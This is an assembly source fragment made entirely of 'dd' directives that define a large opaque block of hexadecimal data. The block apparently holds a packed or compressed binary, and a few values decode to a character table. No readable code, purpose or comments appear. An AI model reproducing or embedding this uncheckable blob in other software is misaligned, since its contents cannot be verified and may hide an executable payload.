		dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h
		dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h
		dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h
		dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh
		dd 39735C8h, 496071A7h,	0D9B013FCh, 2900ADC2h, 4B89A09Dh
		dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h
		dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh
		dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh
		dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h
		dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h
		dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h
		dd 6EB78680h, 0C776B4h,	0DE3D34Ah, 0D6E8FD4Fh, 7E400401h
		dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh
		dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh
		dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh
		dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h,	8041C59Ch
		dd 7444342h, 48474645h,	4B4A0049h, 4E004D4Ch, 0A51504Fh
		dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h
		dd 806B6A69h, 76E6D6Ch,	7271706Fh, 75740073h, 780E7776h
		dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh
		dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah
		dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh
		dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h
		dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h,	9C732D85h
		dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh
		dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh
		dd 956BC70h, 4052008Ah,	0D4CF5C7Ch, 33001571h, 0FF273929h
		dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h
		dd 823252h, 0D98CD5F4h,	0C6660347h, 11F01600h, 5521429Fh
		dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h
		dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh
		dd 8BFD097Dh, 7E58562h,	8F82B80Eh, 464BC10Bh, 3D60ED05h
		dd 76EA00F0h, 2BBCE14h,	0C7143032h, 0CAF468h, 0EFC11A13h
		dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh
		dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh
		dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h
		dd 2ADF90C2h, 2004589h,	169F4999h, 0ECD9C65Ah, 6B7623h
		dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h
		dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h,	1FE361Dh
		dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh
		dd 592EC49h, 50B1C594h,	2132839Fh, 0B2525207h, 62B071C4h
		dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh
		dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h,	0F8281C13h
		dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h
		dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h
		dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h
		dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h,	6CD5003Fh
		dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh
		dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h
		dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h,	252785A1h
		dd 9F000C6h, 5F1CF405h,	8F000F15h, 334E99A4h, 0EC859A23h
		dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah
		dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h
		dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h
		dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h
		dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h
		dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h
		dd 44D12D1h, 341D0F65h,	4700F78Ah, 0FD44F8A1h, 0A200D9E4h
		dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h
		dd 74532F85h, 0BCD1D8h,	0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh
		dd 4717CDC0h, 1E8AEB5h,	0F6B02BCFh, 20E6D655h, 0F0122C84h
		dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh
		dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h
		dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h
		dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h
		dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh
		dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h
		dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h
		dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h
		dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh,	17C800A0h
		dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh,	3812CCh
		dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h,	0A69F00BDh
		dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h
		dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh
		dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h
		dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h,	2AD419F2h
		dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh
		dd 0D88CC364h, 758BDDh,	4B937C2Fh, 6A24A058h, 7A820300h
		dd 5AC773A4h, 0BA727Eh,	27841D5h, 0C327116Ch, 4B8E5901h
		dd 0A6B01E5Fh, 40D2ECh,	7517496Fh, 227C3966h, 0A39F4507h
		dd 86202F71h, 0D94161h,	7BDB2529h, 676F881h, 35A85500h
		dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh,	0AC034A08h
		dd 0E88237EBh, 641AE2h,	0A6432101h, 9854B34Ah, 0FC93B909h
		dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
		dd 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh
		dd 9C5C044h, 2C464772h,	40703802h, 7D94C0AAh, 0E8C0230Fh
		dd 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh,	1AD2052Fh
		dd 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh
		dd 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h,	95840046h
		dd 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh
		dd 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h
		dd 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh,	92F46000h
		dd 0C9311EFCh
		dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch
		dd 667C08h, 0D806EBD1h,	35F00973h, 83203E1Ch, 0B8F38100h
		dd 0CEFEEDh, 31EB1C75h,	4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h
		dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h
		dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh
		dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h,	0C09DDF92h
		dd 9EB0D368h, 0F8043Dh,	5DD0D45Fh, 3CC60150h, 8980B0A2h
		dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h
		dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h
		dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh
		dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h
		dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h
		dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h
		dd 7C0058FFh, 3C709EFh,	9160C0h, 0A8A0048Ah, 3B94980Bh
		dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h,	71174606h
		dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h
		dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh
		dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h
		dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh,	49CF5C1Fh
		dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h
		dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h,	0CA529C00h
		dd 42A4968Fh, 0D575FFh,	0ABE8C3C1h, 290C3292h, 0AF880807h
		dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h
		dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh
		dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h,	0DE019A5Dh
		dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch
		dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh,	0EF1E200Dh
		dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh,	6600A5F3h
		dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h
		dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h
		dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h
		dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh
		dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch
		dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh
		dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh
		dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h
		dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h
		dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh
		dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh
		dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh
		dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h,	94EF0361h
		dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h
		dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h
		dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h
		dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh
		dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h
		dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h
		dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh,	0C80A91D9h
		dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h
		dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h,	0E48C01AFh
		dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h,	0FA80DC01h
		dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h
		dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh
		dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h
		dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh
		dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h
		dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh
		dd 0F5933Fh, 8F060F38h,	3BE30811h, 1680FA0Ah, 0B4F845B7h
		dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch
		dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah
		dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h
		dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h
		dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h
		dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h,	2714914Fh
		dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h
		dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h
		dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h,	0D98F04ECh
		dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh
		dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh
		dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h
		dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh
		dd 6890DD1h, 4938F800h,	5328BAC6h, 0CB150A91h, 0AC318Bh
		dd 3FB833Fh, 0C006076h,	9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
		dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch,	0BF00493Eh
		dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
		dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
		dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
		dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h,	105E0BB9h
		dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
		dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
		dd 48CD0076h, 9559B745h
		dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh
		dd 0C19062h, 88792B52h,	650078BFh, 80C1B0B7h, 107EBh, 3A740472h
		dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah
		dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h
		dd 20E6305h, 1D451723h,	0DA401929h, 92FE8048h, 0F104741Dh
		dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh
		dd 4A97892Bh, 1835B59h,	8E1CC778h, 700AFB45h, 0C90013BBh
		dd 4B7E0D0h, 2659FA5Fh,	0DE010Dh, 0E7557C8Ah, 0E8074284h
		dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh
		dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h
		dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h
		dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h
		dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h,	0AFFB672Dh
		dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h,	3CD20873h
		dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h
		dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h
		dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h
		dd 1326FE9h, 36FFC327h,	30E025E2h, 5C484A69h, 7CBC000Fh
		dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h
		dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h
		dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah
		dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h
		dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h
		dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh,	0D68A4200h
		dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh
		dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh
		dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h
		dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h
		dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh,	0FF35EFAAh
		dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h
		dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h
		dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh
		dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h
		dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h,	86D89A3Bh
		dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h,	575AA00h
		dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh,	0BA169DF8h
		dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh
		dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h
		dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah
		dd 5161DA4Bh, 1FA109Dh,	0BEFC8A07h, 85308F58h, 79A8D9ECh
		dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch
		dd 0D37330h, 68F810D9h,	21BE42B8h, 0D611EC00h, 0F49061DFh
		dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h
		dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h
		dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h
		dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h
		dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h
		dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch
		dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h,	0B00507h
		dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h
		dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h
		dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh
		dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h
		dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h
		dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h,	44E81EA2h
		dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h,	50520717h
		dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h
		dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh
		dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 427A92A2h
		dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh
		dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h
		dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh,	32037273h
		dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h,	0E05816D1h
		dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h
		dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h
		dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h
		dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh
		dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h,	72BE1B3h
		dd 53449FD0h, 86260E8h,	5AC07473h, 0FA9DD29h, 0D5800714h
		dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh
		dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh
		dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h
		dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch
		dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh,	28393A29h
		dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h
		dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h
		dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h
		dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh
		dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h,	339000B6h
		dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh,	1DA6CE00h
		dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh
		dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h
		dd 2E03117h, 0EA1052Bh,	14409601h, 0E11EA4A8h, 4AA6C44Eh
		dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h
		dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h
		dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h
		dd 1D08F9D7h, 0CFBFF4h,	0F7B0A16Eh, 75078268h, 972CB815h
		dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h,	6400EC7Eh
		dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
		dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h,	2CF0CC2h
		dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h,	0EB3FC618h
		dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
		dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h,	0B8010C6h
		dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h,	0E4CCA02Fh
		dd 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h
		dd 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch
		dd 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h
		dd 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh,	0EB003AF9h
		dd 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h
		dd 44073848h, 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h
		dd 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh,	33D0FCF3h
		dd 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h,	0F1844E1Bh
		dd 17039A7Eh
		dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h
		dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h
		dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah,	0EDE7C1F9h
		dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch,	0BEE2418h
		dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh
		dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh,	0FF15EE33h
		dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h
		dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h,	200758C4h
		dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h
		dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h
		dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h
		dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch,	0BB6CF74h
		dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah
		dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh,	53012910h
		dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h,	29206A15h
		dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h
		dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h
		dd 4178C646h, 91085B8h,	436DAC14h, 0A16A1787h, 2AB47023h
		dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh
		dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h,	0AA4D3B21h
		dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h,	0E2C78E21h
